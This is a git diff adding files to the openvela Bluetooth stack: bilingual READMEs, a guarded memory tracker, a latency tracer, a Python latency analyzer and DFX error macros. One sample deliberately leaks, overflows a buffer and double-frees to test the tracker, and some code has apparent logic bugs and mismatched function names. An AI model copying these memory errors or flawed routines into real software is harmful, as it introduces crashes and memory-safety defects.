+\[ English | [简体中文](README_zh-cn.md) \]
+
+## 1. Introduction to openvela Bluetooth
+
+openvela Bluetooth has been certified for Bluetooth 5.4. It currently supports Bluetooth profiles listed as below:
+
+- Core
+
+ - BR/EDR/BLE
+ - GAP
+ - L2CAP
+ - GATT Client/Server
+- A2DP SRC/SNK
+- AVRCP CT/TG
+- HFP AG/HF
+- PAN
+- SPP
+- HID
+- HOGP
+- LEA
+
+ - TMAP
+ - CAP
+ - BAP/ASCS/PACS/BASS
+ - CSIP/CSIS
+ - MCP/MCS
+ - CCP/TBS
+ - VCP/VCS
+- Mesh
+
+openvela Bluetooth currently also supports a variety of open source and proprietary stacks such as Zephyr, Bluez, Bluedroid, Barrot, etc.
+
+## 2. openvela Bluetooth Application Development
+
+Third-party application developers may utilize the openvela QuickApp Feature to acquire system access capabilities.
+
+Additionally, NDK interfaces are also provided to utilize all Bluetooth system-level capabilities. Please refer to header files in folder framework/include for more details.
+
+## 3. openvela Bluetooth Driver Development
+
+openvela Bluetooth supports multiple driver architectures. Taking the widely used BTH4 driver architecture as an example, chip manufacturers can implement a variable of the **struct bt_driver_s** structure type, and initialize the following member functions for it.
+
+- CODE int (*open)(FAR struct bt_driver_s *btdev);
+- CODE int (*send)(FAR struct bt_driver_s *btdev, enum bt_buf_type_e type, FAR void *data, size_t len);
+- CODE int (*ioctl)(FAR struct bt_driver_s *btdev, int cmd, unsigned long arg);
+- CODE void (*close)(FAR struct bt_driver_s *btdev);
+
+The implementation of the above member functions depends on the specific type of HCI utilized, which refers to the physical bus linking the Host and the Controller.
+
+Then, register the driver instance by passing the variable of the above structure type via the API bt_driver_register().
+
+- int **bt_driver_register**(FAR struct bt_driver_s *drv);
+
+Please refer to the type definition in header file nuttx/include/nuttx/wireless/bluetooth/bt_driver.h. The figure below helps to provide a comprehensive understanding of its functioning within the openvela OS.
+
+
+
+Note: chip manufacturers are not required to implement the receive() member function, for it will be initialized by the BTH4 driver.
+
+- CODE int (*receive)(FAR struct bt_driver_s *btdev, enum bt_buf_type_e type, FAR void *data, size_t len);
+
+Upon receipt of HCI data from the chip, the vendor drivers should invoke the **bt_netdev_receive**() function, which in turn will trigger the receive() function to store the received HCI data.
+
diff --git a/README_zh-cn.md b/README_zh-cn.md
new file mode 100644
index 0000000000000000000000000000000000000000..8b46ec5719c6a56104f2030fa633e08a899198e8
--- /dev/null
+++ b/README_zh-cn.md
@@ -0,0 +1,65 @@
+# 蓝牙概述
+
+\[ [English](README.md) | 简体中文 \]
+
+## 一、 openvela 蓝牙能力介绍
+
+openvela 蓝牙已经通过 Bluetooth 5.4 认证。目前支持的蓝牙能力包括:
+
+- Core
+
+ - BR/EDR/BLE
+ - GAP
+ - L2CAP
+ - GATT Client/Server
+- A2DP SRC/SNK
+- AVRCP CT/TG
+- HFP AG/HF
+- PAN
+- SPP
+- HID
+- HOGP
+- LEA
+
+ - TMAP
+ - CAP
+ - BAP/ASCS/PACS/BASS
+ - CSIP/CSIS
+ - MCP/MCS
+ - CCP/TBS
+ - VCP/VCS
+- Mesh
+
+openvela 蓝牙目前还能够支持多种开源、闭源协议栈,如Zephyr、Bluez、Bluedroid、Barrot等。
+
+## 二、 openvela 蓝牙应用开发
+
+对于第三方应用开发者,可以使用 openvela 快应用 QuickApp Feature ,它是基于 QuickJS 引擎使用 C++ 实现的一系列 API 接口,为三方应用提供系统访问能力。
+
+另外,还提供了 NDK 接口来使用蓝牙系统的所有能力。可以参阅目录 framework/include 中的头文件获取更多信息。
+
+## 三、 openvela 蓝牙驱动开发
+
+openvela 蓝牙支持多种驱动架构。以目前常用的 BTH4 驱动架构为例,芯片厂商可以实现一个 **struct bt_driver_s** 结构体类型的变量,并为其初始化以下成员函数:
+
+- CODE int (*open)(FAR struct bt_driver_s *btdev);
+- CODE int (*send)(FAR struct bt_driver_s *btdev, enum bt_buf_type_e type, FAR void *data, size_t len);
+- CODE int (*ioctl)(FAR struct bt_driver_s *btdev, int cmd, unsigned long arg);
+- CODE void (*close)(FAR struct bt_driver_s *btdev);
+
+上面成员函数的实现依赖于 HCI 的实际工作方式,也就是 Host 和 Controller 之间的物理总线。
+
+然后,将上述结构体类型的变量通过 API **bt_driver_register**()注册该驱动实例。
+
+- int **bt_driver_register**(FAR struct bt_driver_s *drv);
+
+类型定义可参考头文件 nuttx/include/nuttx/wireless/bluetooth/bt_driver.h。调用关系如下图所示:
+
+
+
+备注:对于 receive() 成员函数,芯片厂商无需定义,BTH4 驱动会为其初始化。
+
+- CODE int (*receive)(FAR struct bt_driver_s *btdev, enum bt_buf_type_e type, FAR void *data, size_t len);
+
+当收到来自芯片的 HCI 数据时,只要调用 **bt_netdev_receive**()即可,它会调用这个 receive()函数来保存收到 HCI 数据。
+
diff --git a/debug/bt_memory.c b/debug/bt_memory.c
new file mode 100644
index 0000000000000000000000000000000000000000..7d716e19cd24aa347c4b6c38992f21cc188bfd36
--- /dev/null
+++ b/debug/bt_memory.c
@@ -0,0 +1,166 @@
+/****************************************************************************
+ * Copyright (C) 2025 Xiaomi Corporation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ ***************************************************************************/
+#include "bt_memory.h"
+
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+#define GUARD_SIZE 16
+#define GUARD_HEAD 0xAA
+#define GUARD_TAIL 0xBB
+
+typedef struct bt_mem_node {
+ void* addr;
+ size_t size;
+ const char* file;
+ int line;
+ unsigned char guard[GUARD_SIZE];
+ struct bt_mem_node* next;
+} bt_mem_node_t;
+
+typedef struct bt_mem_manager {
+ bt_mem_node_t* mem_list;
+ pthread_mutex_t list_lock;
+ size_t current_mem;
+ size_t peak_mem;
+} bt_mem_manager_t;
+
+static bt_mem_manager_t g_mem_manager = {
+ .mem_list = NULL,
+ .list_lock = PTHREAD_MUTEX_INITIALIZER,
+ .current_mem = 0,
+ .peak_mem = 0,
+};
+
+void* bt_malloc_hook(size_t size, const char* file, int line)
+{
+ bt_mem_manager_t* mem_manager = &g_mem_manager;
+ void* raw;
+ bt_mem_node_t* head;
+
+ raw = malloc(size + sizeof(bt_mem_node_t) + GUARD_SIZE);
+ if (!raw) {
+ syslog(LOG_ALERT, "[bt_memory] malloc failed, size: %zu, file: %s, line: %d", size, file, line);
+ return NULL;
+ }
+
+ head = (bt_mem_node_t*)raw;
+ *head = (bt_mem_node_t) {
+ .addr = (char*)raw + sizeof(bt_mem_node_t),
+ .size = size,
+ .file = file,
+ .line = line,
+ .next = NULL
+ };
+
+ memset(head->guard, GUARD_HEAD, sizeof(head->guard));
+ memset((char*)head->addr + size, GUARD_TAIL, GUARD_SIZE);
+
+ pthread_mutex_lock(&mem_manager->list_lock);
+ mem_manager->current_mem += size;
+ if (mem_manager->current_mem > mem_manager->peak_mem) {
+ mem_manager->peak_mem = mem_manager->current_mem;
+ }
+
+ head->next = mem_manager->mem_list;
+ mem_manager->mem_list = head;
+ pthread_mutex_unlock(&mem_manager->list_lock);
+
+ return head->addr;
+}
+
+void* bt_calloc_hook(size_t num, size_t size, const char* file, int line)
+{
+ size_t total;
+ void* ptr;
+
+ total = num * size;
+ ptr = bt_malloc_hook(total, file, line);
+ if (!ptr) {
+ syslog(LOG_ALERT, "[bt_memory] calloc failed, num: %zu, size: %zu, file: %s, line: %d", num, size, file, line);
+ return NULL;
+ }
+
+ memset(ptr, 0, total);
+ return ptr;
+}
+
+void bt_free_hook(void* ptr)
+{
+ bt_mem_manager_t* mem_manager = &g_mem_manager;
+ bt_mem_node_t** pp;
+ bool found = false;
+
+ if (!ptr) {
+ return;
+ }
+
+ pthread_mutex_lock(&mem_manager->list_lock);
+
+ pp = &mem_manager->mem_list;
+ while (*pp) {
+ if ((*pp)->addr == ptr) {
+ bt_mem_node_t* node = *pp;
+
+ for (int i = 0; i < GUARD_SIZE; i++) {
+ if (((uint8_t)node->guard[i] != GUARD_HEAD) || ((uint8_t)((char*)ptr + node->size)[i] != GUARD_TAIL)) {
+ syslog(LOG_ALERT, "[bt_memory] Buffer overflow at %s:%d", node->file, node->line);
+ assert(0);
+ }
+ }
+
+ mem_manager->current_mem -= node->size;
+ *pp = node->next;
+ found = true;
+ free(node);
+ break;
+ }
+ pp = &(*pp)->next;
+ }
+
+ pthread_mutex_unlock(&mem_manager->list_lock);
+
+ if (!found) {
+ syslog(LOG_ALERT, "[bt_memory] Freeing unallocated memory %p", ptr);
+ assert(0);
+ }
+}
+
+void bt_report_leak(void)
+{
+ bt_mem_manager_t* mem_manager = &g_mem_manager;
+ bt_mem_node_t* node;
+
+ pthread_mutex_lock(&mem_manager->list_lock);
+
+ syslog(LOG_ALERT, "[bt_memory] ===== Memory Leak Report =====");
+ syslog(LOG_ALERT, "[bt_memory] Peak memory: %zu bytes", mem_manager->peak_mem);
+
+ node = mem_manager->mem_list;
+ while (node) {
+ syslog(LOG_ALERT, "[bt_memory] Leak %p (%zu bytes) at %s:%d",
+ node->addr, node->size, node->file, node->line);
+ node = node->next;
+ }
+ syslog(LOG_ALERT, "[bt_memory] ===== End of Report =====");
+
+ pthread_mutex_unlock(&mem_manager->list_lock);
+}
diff --git a/debug/bt_memory_sample.c b/debug/bt_memory_sample.c
new file mode 100644
index 0000000000000000000000000000000000000000..29d359d67a23558f47f65d6efadfa099211b0ecc
--- /dev/null
+++ b/debug/bt_memory_sample.c
@@ -0,0 +1,53 @@
+/****************************************************************************
+ * Copyright (C) 2025 Xiaomi Corporation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ ***************************************************************************/
+#include
+#include
+
+#include "bt_memory.h"
+
+void test_leak()
+{
+ void* p1 = bt_malloc(128);
+ void* p2 = bt_malloc(256);
+}
+
+void test_overflow()
+{
+ char* buf = (char*)bt_malloc(16);
+ memset(buf, 0, 20);
+ bt_free(buf);
+}
+
+void test_double_free()
+{
+ void* p = bt_malloc(64);
+ bt_free(p);
+ bt_free(p);
+}
+
+int main()
+{
+ test_leak();
+
+ test_overflow();
+
+ test_double_free();
+
+ void* p2 = bt_malloc(500);
+
+ bt_report_leak();
+ return 0;
+}
\ No newline at end of file
diff --git a/debug/bt_trace.c b/debug/bt_trace.c
new file mode 100644
index 0000000000000000000000000000000000000000..398688e8b9c426a32d90dce6339045edb22242d6
--- /dev/null
+++ b/debug/bt_trace.c
@@ -0,0 +1,111 @@
+/****************************************************************************
+ * Copyright (C) 2025 Xiaomi Corporation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ ***************************************************************************/
+#include "bt_sched_trace.h"
+
+#include
+#include
+#include
+#include
+#include
+
+#include "utils/log.h"
+
+#define DUMP_THRESHOLD 256
+
+typedef struct {
+ char tag[MAX_TAG_LEN];
+ uint64_t timestamp;
+ uint32_t latency_us;
+} bt_latency_record_t;
+
+typedef struct {
+ bt_latency_record_t buffer[CONFIG_BLUETOOTH_TRACE_BUFFER_SIZE];
+ atomic_uint head;
+ atomic_uint tail;
+} bt_trace_manager_t;
+
+static bt_trace_manager_t g_trace_manager = { 0 };
+
+static inline uint64_t get_monotonic_ns()
+{
+ struct timespec ts;
+ clock_gettime(CLOCK_MONOTONIC, &ts);
+ return (uint64_t)ts.tv_sec * 1000000000UL + ts.tv_nsec;
+}
+
+void bt_note_start(void)
+{
+ bt_trace_manager_t* trace_manager = &g_trace_manager;
+
+ atomic_store(&trace_manager->head, 0);
+ atomic_store(&trace_manager->tail, 0);
+}
+
+void bt_note_stop(void)
+{
+ bt_trace_manager_t* trace_manager = &g_trace_manager;
+ char log_buf[DUMP_THRESHOLD];
+ int written = 0;
+
+ while (trace_manager->tail != trace_manager->head) {
+ bt_latency_record_t* p = &trace_manager->buffer[trace_manager->tail % CONFIG_BLUETOOTH_TRACE_BUFFER_SIZE];
+
+ written += snprintf(log_buf + written, sizeof(log_buf) - written,
+ "[TAG=%s][TS=%lu][LAT=%uus]\n",
+ p->tag, p->timestamp, p->latency_us);
+ trace_manager->tail = (trace_manager->tail + 1) % CONFIG_BLUETOOTH_TRACE_BUFFER_SIZE;
+ written = written % DUMP_THRESHOLD;
+
+ if (written > DUMP_THRESHOLD) {
+ BT_LOGD("%s", log_buf);
+ written = 0;
+ }
+ }
+
+ if (written > 0) {
+ BT_LOGD("%s", log_buf);
+ }
+}
+
+void bt_note_begin(const char* tag, bt_timepoint_t* point)
+{
+ if (strlen(tag) > MAX_TAG_LEN) {
+ BT_LOGD("tag is too long, max length is %d\n", MAX_TAG_LEN);
+ return;
+ }
+
+ strlcpy(point->tag, tag, MAX_TAG_LEN);
+ point->start_ns = get_monotonic_ns();
+}
+
+void bt_note_end(const char* tag, bt_timepoint_t* point)
+{
+ bt_trace_manager_t* trace_manager = &g_trace_manager;
+ uint64_t end;
+ uint32_t idx;
+
+ if (strlen(tag) > MAX_TAG_LEN) {
+ BT_LOGD("tag is too long, max length is %d\n", MAX_TAG_LEN);
+ return;
+ }
+
+ end = get_monotonic_ns();
+ idx = atomic_fetch_add(&trace_manager->head, 1) % CONFIG_BLUETOOTH_TRACE_BUFFER_SIZE;
+ strlcpy(trace_manager->buffer[idx].tag, point->tag, MAX_TAG_LEN);
+
+ trace_manager->buffer[idx].timestamp = end;
+ trace_manager->buffer[idx].latency_us = (end - point->start_ns) / 1000;
+}
\ No newline at end of file
diff --git a/debug/bt_trace_analyzer.py b/debug/bt_trace_analyzer.py
new file mode 100644
index 0000000000000000000000000000000000000000..bfc15e3bf9d08371eb4db296ddfb5a15c954433c
--- /dev/null
+++ b/debug/bt_trace_analyzer.py
@@ -0,0 +1,124 @@
+############################################################################
+# Copyright (C) 2025 Xiaomi Corporation
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+############################################################################
+import re
+import argparse
+import pandas as pd
+import matplotlib.pyplot as plt
+from datetime import datetime
+from pathlib import Path
+
+def parse_args():
+ parser = argparse.ArgumentParser(description='Latency log analyzer with tag support')
+ parser.add_argument('--log', required=True,
+ help='Input log file path')
+ parser.add_argument('--output-img', default='latency_by_tag.png',
+ help='Output image path (default: latency_by_tag.png)')
+ parser.add_argument('--output-report',
+ help='Output report file path (optional)')
+ return parser.parse_args()
+
+def parse_log_line(line):
+ pattern = r"\[TAG=([^$$]+)\]\[TS=(\d+)\]\[LAT=(\d+)us\]"
+
+ if match := re.search(pattern, line):
+ return {
+ "tag": match.group(1),
+ "timestamp": datetime.fromtimestamp(int(match.group(2))/1e9),
+ "latency": int(match.group(3))
+ }
+ return None
+
+def load_log_data(log_path):
+ try:
+ with open(log_path, 'r') as f:
+ records = []
+ for line in f:
+ if record := parse_log_line(line.strip()):
+ records.append(record)
+ return pd.DataFrame(records)
+ except FileNotFoundError:
+ raise SystemExit(f"Error: Log file {log_path} not found")
+
+
+def generate_latency_plot(df, output_path):
+ plt.figure(figsize=(15, 8))
+ colors = plt.cm.tab10.colors
+
+ for idx, (tag, group) in enumerate(df.groupby('tag')):
+ group = group.sort_values('timestamp')
+ plt.plot(group['timestamp'], group['latency'],
+ color=colors[idx % 10],
+ marker='o', markersize=3,
+ linestyle='-', linewidth=1,
+ label=tag)
+
+ plt.title('Latency Timeline by Tag')
+ plt.xlabel('Timestamp')
+ plt.ylabel('Latency (μs)')
+ plt.legend(loc='upper left', bbox_to_anchor=(1, 1))
+ plt.grid(True, alpha=0.3)
+ plt.xticks(rotation=45)
+ plt.tight_layout()
+
+ Path(output_path).parent.mkdir(parents=True, exist_ok=True)
+ plt.savefig(output_path, dpi=300, bbox_inches='tight')
+ plt.close()
+
+def generate_stat_report(df, output_path=None):
+ stats = []
+ for tag, group in df.groupby('tag'):
+ desc = group['latency'].describe(percentiles=[.5, .95, .99])
+ stats.append({
+ 'Tag': tag,
+ 'Count': desc['count'],
+ 'Mean': desc['mean'],
+ 'Min': desc['min'],
+ '50%': desc['50%'],
+ '95%': desc['95%'],
+ '99%': desc['max'],
+ 'Max': desc['max']
+ })
+
+ report_df = pd.DataFrame(stats)
+ report_str = report_df.to_string(index=False, float_format='%.2f')
+
+ if output_path:
+ Path(output_path).parent.mkdir(parents=True, exist_ok=True)
+ with open(output_path, 'w') as f:
+ f.write("=== Latency Statistics Report ===\n")
+ f.write(report_str)
+ print(f"Report saved to {output_path}")
+ else:
+ print("\n" + report_str)
+
+def main():
+ args = parse_args()
+
+ df = load_log_data(args.log)
+ if df.empty:
+ raise SystemExit("Error: No valid records found in log file")
+
+ generate_latency_plot(df, args.output_img)
+ print(f"Visualization saved to {args.output_img}")
+
+ if args.output_report:
+ generate_stat_report(df, args.output_report)
+ else:
+ generate_stat_report(df)
+
+if __name__ == "__main__":
+ main()
\ No newline at end of file
diff --git a/debug/bt_trace_sample.c b/debug/bt_trace_sample.c
new file mode 100644
index 0000000000000000000000000000000000000000..d5f2dd1bca857706eea2e5cd167086b7526083e5
--- /dev/null
+++ b/debug/bt_trace_sample.c
@@ -0,0 +1,54 @@
+/****************************************************************************
+ * Copyright (C) 2025 Xiaomi Corporation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ ***************************************************************************/
+#include "bt_sched_trace.h"
+
+#include
+
+void test_func1()
+{
+ bt_timepoint_t tp1;
+
+ bt_trace_begin("test_func1", &tp1);
+ usleep(rand() % 1000);
+ bt_trace_end("test_func1", &tp1);
+}
+
+void test_func2()
+{
+ bt_timepoint_t tp1;
+
+ bt_trace_begin("test_func2", &tp1);
+ usleep(rand() % 1000);
+ bt_trace_end("test_func2", &tp1);
+}
+
+int main(int argc, char* argv[])
+{
+
+ bt_trace_start();
+
+ test_func1();
+ test_func2();
+
+ test_func1();
+ test_func2();
+
+ test_func1();
+ test_func2();
+
+ bt_trace_stop();
+ return 0;
+}
\ No newline at end of file
diff --git a/debug/latency_by_tag.png b/debug/latency_by_tag.png
new file mode 100644
index 0000000000000000000000000000000000000000..a0eb147da1bb08fd4348fba3020566b558d3f2ac
Binary files /dev/null and b/debug/latency_by_tag.png differ
diff --git a/dfx/bt_dfx.h b/dfx/bt_dfx.h
new file mode 100644
index 0000000000000000000000000000000000000000..79229f97e90bff77ecade7bec76a20cd921bfadf
--- /dev/null
+++ b/dfx/bt_dfx.h
@@ -0,0 +1,277 @@
+/****************************************************************************
+ * Copyright (C) 2025 Xiaomi Corporation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ ***************************************************************************/
+
+#ifndef _BT_DFX_H_
+#define _BT_DFX_H_
+
+#if defined(CONFIG_DFX) && defined(CONFIG_DFX_EVENT)
+#include
+#include
+#endif
+
+#include "bt_dfx_event.h"
+#include "bt_dfx_reason.h"
+
+// br
+#if defined(CONFIG_BLUETOOTH_DFX) && defined(CONFIG_BLUETOOTH_BREDR_SUPPORT)
+#define BT_DFX_SEND_BR_EVENT(...) sendEventMisightF(__VA_ARGS__)
+#else
+#define BT_DFX_SEND_BR_EVENT(...)
+#endif
+
+#define BT_DFX_BR_GAP_INQUIRY_ERROR(reason) \
+ do { \
+ BT_LOGE("BT_DFX: brInquiryError: %s", reason); \
+ BT_DFX_SEND_BR_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_BR_GAP, BT_DFXC_BR_GAP_INQUIRY), \
+ "%s:%s", "brInquiryError", reason); \
+ } while (0)
+
+#define BT_DFX_BR_GAP_CONN_ERROR(reason) \
+ do { \
+ BT_LOGE("BT_DFX: brConnectError: %s", reason); \
+ BT_DFX_SEND_BR_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_BR_GAP, BT_DFXC_BR_GAP_CONN), \
+ "%s:%s", "brConnectError", reason); \
+ } while (0)
+
+#define BT_DFX_BR_GAP_DISCONN_ERROR(reason) \
+ do { \
+ BT_LOGE("BT_DFX: brDisconnectError: %s", reason); \
+ BT_DFX_SEND_BR_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_BR_GAP, BT_DFXC_BR_GAP_DISCONN), \
+ "%s:%s", "brDisconnectError", reason); \
+ } while (0)
+
+#define BT_DFX_BR_GAP_PAIR_ERROR(reason) \
+ do { \
+ BT_LOGE("BT_DFX: brPairError: %s", reason); \
+ BT_DFX_SEND_BR_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_BR_GAP, BT_DFXC_BR_GAP_PAIR), \
+ "%s:%s", "brPairError", reason); \
+ } while (0)
+
+// ble
+#if defined(CONFIG_BLUETOOTH_DFX) && defined(CONFIG_BLUETOOTH_BLE_SUPPORT)
+#define BT_DFX_SEND_LE_GAP_EVENT(...) sendEventMisightF(__VA_ARGS__)
+#else
+#define BT_DFX_SEND_LE_GAP_EVENT(...)
+#endif
+
+#ifdef CONFIG_BLUETOOTH_BLE_SCAN
+#define BT_DFX_LE_GAP_SCAN_ERROR(reason) \
+ do { \
+ BT_LOGE("BT_DFX: bleScanError: %s", reason); \
+ BT_DFX_SEND_LE_GAP_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_LE_GAP, BT_DFXC_LE_GAP_SCAN), \
+ "%s:%s", "bleScanError", reason); \
+ } while (0)
+#endif
+
+#define BT_DFX_LE_GAP_CONN_ERROR(reason) \
+ do { \
+ BT_LOGE("BT_DFX: bleConnectError: %s", reason); \
+ BT_DFX_SEND_LE_GAP_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_LE_GAP, BT_DFXC_LE_GAP_CONN), \
+ "%s:%s", "bleConnectError", reason); \
+ } while (0)
+
+#define BT_DFX_LE_GAP_DISCONN_ERROR(reason) \
+ do { \
+ BT_LOGE("BT_DFX: bleDisconnectError: %s", reason); \
+ BT_DFX_SEND_LE_GAP_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_LE_GAP, BT_DFXC_LE_GAP_DISCONN), \
+ "%s:%s", "bleDisconnectError", reason); \
+ } while (0)
+
+#define BT_DFX_LE_GAP_PAIR_ERROR(reason) \
+ do { \
+ BT_LOGE("BT_DFX: blePairError: %s", reason); \
+ BT_DFX_SEND_LE_GAP_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_LE_GAP, BT_DFXC_LE_GAP_PAIR), \
+ "%s:%s", "blePairError", reason); \
+ } while (0)
+
+// spp
+#if defined(CONFIG_BLUETOOTH_DFX) && defined(CONFIG_BLUETOOTH_SPP)
+#define BT_DFX_SEND_SPP_EVENT(...) sendEventMisightF(__VA_ARGS__)
+#else
+#define BT_DFX_SEND_SPP_EVENT(...)
+#endif
+
+#define BT_DFX_SPP_CONN_ERROR(reason) \
+ do { \
+ BT_LOGE("BT_DFX: btSppConnectError: %s", reason); \
+ BT_DFX_SEND_SPP_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_RFCOMM, BT_DFXC_SPP_CONN), \
+ "%s:%s", "btSppConnectError", reason); \
+ } while (0)
+
+#define BT_DFX_SPP_DISCONN_ERROR(reason, scn, port, role) \
+ do { \
+ BT_LOGE("BT_DFX: btSppDisconnected: %s, scn: %d, port: %d, role: %d", \
+ reason, scn, port, role); \
+ BT_DFX_SEND_SPP_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_RFCOMM, BT_DFXC_SPP_DISCONN), \
+ "%s:%s,%s:%d,%s:%d,%s:%s", "btSppDisconnected", reason, "scn", scn, \
+ "port", port, "role", role); \
+ } while (0)
+
+// a2dp
+#if defined(CONFIG_BLUETOOTH_DFX) && defined(CONFIG_BLUETOOTH_A2DP)
+#define BT_DFX_SEND_A2DP_EVENT(...) sendEventMisightF(__VA_ARGS__)
+#else
+#define BT_DFX_SEND_A2DP_EVENT(...)
+#endif
+
+#define BT_DFX_A2DP_CONN_ERROR(reason) \
+ do { \
+ BT_LOGE("BT_DFX: btA2dpConnectError: %s", reason); \
+ BT_DFX_SEND_A2DP_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_A2DP, BT_DFXC_A2DP_CONN), \
+ "%s:%s", "btA2dpConnectError", reason); \
+ } while (0)
+
+#define BT_DFX_A2DP_MEDIA_ERROR(reason) \
+ do { \
+ BT_LOGE("BT_DFX: btA2dpMediaError: %s", reason); \
+ BT_DFX_SEND_A2DP_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_A2DP, BT_DFXC_A2DP_MEDIA), \
+ "%s:%s", "btA2dpMediaError", reason); \
+ } while (0)
+
+#define BT_DFX_A2DP_OFFLOAD_ERROR(reason) \
+ do { \
+ BT_LOGE("BT_DFX: btA2dpOffloadError: %s", reason); \
+ BT_DFX_SEND_A2DP_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_A2DP, BT_DFXC_A2DP_OFFLOAD), \
+ "%s:%s", "btA2dpOffloadError", reason); \
+ } while (0)
+
+// avrcp
+#if defined(CONFIG_BLUETOOTH_DFX) && (defined(CONFIG_BLUETOOTH_AVRCP_CONTROL) || defined(CONFIG_BLUETOOTH_AVRCP_TARGET))
+#define BT_DFX_SEND_AVRCP_EVENT(...) sendEventMisightF(__VA_ARGS__)
+#else
+#define BT_DFX_SEND_AVRCP_EVENT(...)
+#endif
+
+#define BT_DFX_AVRCP_CONN_ERROR(reason) \
+ do { \
+ BT_LOGE("BT_DFX: btAvrcpConnectError: %s", reason); \
+ BT_DFX_SEND_AVRCP_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_AVRCP, BT_DFXC_AVRCP_CONN), \
+ "%s:%s", "btAvrcpConnectError", reason); \
+ } while (0)
+
+#define BT_DFX_AVRCP_CTRL_ERROR(reason) \
+ do { \
+ BT_LOGE("BT_DFX: btAvrcpCtrlError: %s", reason); \
+ BT_DFX_SEND_AVRCP_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_AVRCP, BT_DFXC_AVRCP_CTRL), \
+ "%s:%s", "btAvrcpCtrlError", reason); \
+ } while (0)
+
+#define BT_DFX_AVRCP_VOL_ERROR(reason) \
+ do { \
+ BT_LOGE("BT_DFX: btAvrcpVolError: %s", reason); \
+ BT_DFX_SEND_AVRCP_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_AVRCP, BT_DFXC_AVRCP_VOL), \
+ "%s:%s", "btAvrcpVolError", reason); \
+ } while (0)
+
+// hfp
+#if defined(CONFIG_BLUETOOTH_DFX) && (defined(CONFIG_BLUETOOTH_HFP_HF) || defined(CONFIG_BLUETOOTH_HFP_AG))
+#define BT_DFX_SEND_HFP_EVENT(...) sendEventMisightF(__VA_ARGS__)
+#else
+#define BT_DFX_SEND_HFP_EVENT(...)
+#endif
+
+#define BT_DFX_HFP_CONN_ERROR(reason) \
+ do { \
+ BT_LOGE("BT_DFX: btHfpConnectError: %s", reason); \
+ BT_DFX_SEND_HFP_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_HFP, BT_DFXC_HFP_CONN), \
+ "%s:%s", "btHfpConnectError", reason); \
+ } while (0)
+
+#define BT_DFX_HFP_SCO_CONN_ERROR(reason) \
+ do { \
+ BT_LOGE("BT_DFX: btHfpScoConnectError: %s", reason); \
+ BT_DFX_SEND_HFP_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_HFP, BT_DFXC_HFP_SCO_CONN), \
+ "%s:%s", "btHfpScoConnectError", reason); \
+ } while (0)
+
+#define BT_DFX_HFP_VOL_ERROR(reason) \
+ do { \
+ BT_LOGE("BT_DFX: btHfpVolError: %s", reason); \
+ BT_DFX_SEND_HFP_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_HFP, BT_DFXC_HFP_VOL), \
+ "%s:%s", "btHfpVolError", reason); \
+ } while (0)
+
+#define BT_DFX_HFP_MEDIA_ERROR(reason) \
+ do { \
+ BT_LOGE("BT_DFX: btHfpMediaError: %s", reason); \
+ BT_DFX_SEND_HFP_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_HFP, BT_DFXC_HFP_MEDIA), \
